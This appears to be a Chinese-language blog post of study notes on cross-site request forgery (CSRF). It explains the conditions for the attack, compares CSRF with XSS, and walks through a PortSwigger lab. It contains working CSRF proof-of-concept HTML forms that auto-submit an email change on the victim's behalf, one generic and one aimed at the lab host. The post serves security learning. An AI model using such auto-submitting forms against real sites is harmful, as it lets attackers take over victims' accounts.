CSRF

Cross-site request forgery (CSRF)

跨站请求伪造(也称为 CSRF)是一种网络安全漏洞,允许攻击者诱使用户执行他们无意中执行的操作。它允许攻击者部分绕过同源策略,该策略旨在防止不同的网站相互干扰。

cross-site request forgery

攻击者伪造一个URL诱使用户进行点击,让用户执行无意中的操作(如:修改邮箱,修改密码等)

CSRF 的条件

  • 存在一个敏感或特权的操作,如:修改邮箱,修改其他用户的权限

  • 基于Cookie的会话处理,网站完全依赖于会话Cookie来识别发起请求的用户,没有其他鉴权机制

  • 数据包中请求参数,没有不可预测的请求参数,不包含攻击者无法确定或猜测的参数值。例如,当用户更改密码时,如果不知道原密码,则不受攻击

例如:修改邮箱功能

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

使用Burp工具创建CSRF-POC

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

执行流程:

用户访问伪造的URL --> 跳转到受攻击网站 --> 他们的浏览器将自动在请求中包含cookie --> 更改邮箱

:::note

跨站请求伪造(CSRF)不仅限于基于cookie的会话处理,它确实存在于其他上下文中,比如HTTP基本认证和基于证书的认证

:::

HTTP基本认证(安全性低)

它是base64编码传输

Authorization: Basic dXNlcjpwYXNz

基于证书的认证

在基于证书的认证中,用户的客户端证书用于身份验证。当用户访问一个需要证书的受信任站点时,浏览器会自动提供正确的证书给该站点

CSRF 与 XSS 的区别

  • XSS 是攻击者可以执行任意JavaScript代码

  • CSRF 允许攻击者诱使受害用户执行他们无意中的操作

XSS 漏洞的危害比 CSRF 更严重:

​ CSRF 通常只适用于用户能够执行的一小部分操作。许多网站在一些功能实现了 CSRF 防御,但仍然会忽略一个或两个功能。相反,成功的 XSS 利用通常可以诱使用户执行他们能够执行的任何操作,无论漏洞出现在哪个功能中。

​ CSRF 可以描述为一种单向漏洞,因为攻击者可以诱使受害者发出 HTTP 请求,但攻击者收不到响应。相反,XSS 是双向的,因为攻击者注入的脚本可以发出任意请求,读取响应,并将数据传输到攻击者选择的外部域。

总结一下就是:

XSS 可以执行任意 JavaScript 代码,而 CSRF 只能使用户执行特定的操作

XSS 是双向漏洞,发送的HTTP请求,可以通过读取响应将数据传输到其他域;CSRF 是单向漏洞,只能让用户执行指定操作,不能获取响应

labs

CSRF 无防护

使用CSRF攻击来更改查看者的邮箱地址

给了一个账号:wiener:peter

抓到修改邮箱的数据包,生成一个POC

image-20250618175710470

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0acf00a704f25e7f80a4037f00830075.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test1e&#64;exemplo&#46;us" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
posted @ 2025-07-06 09:14  yk1ng  阅读(24)  评论(0)    收藏  举报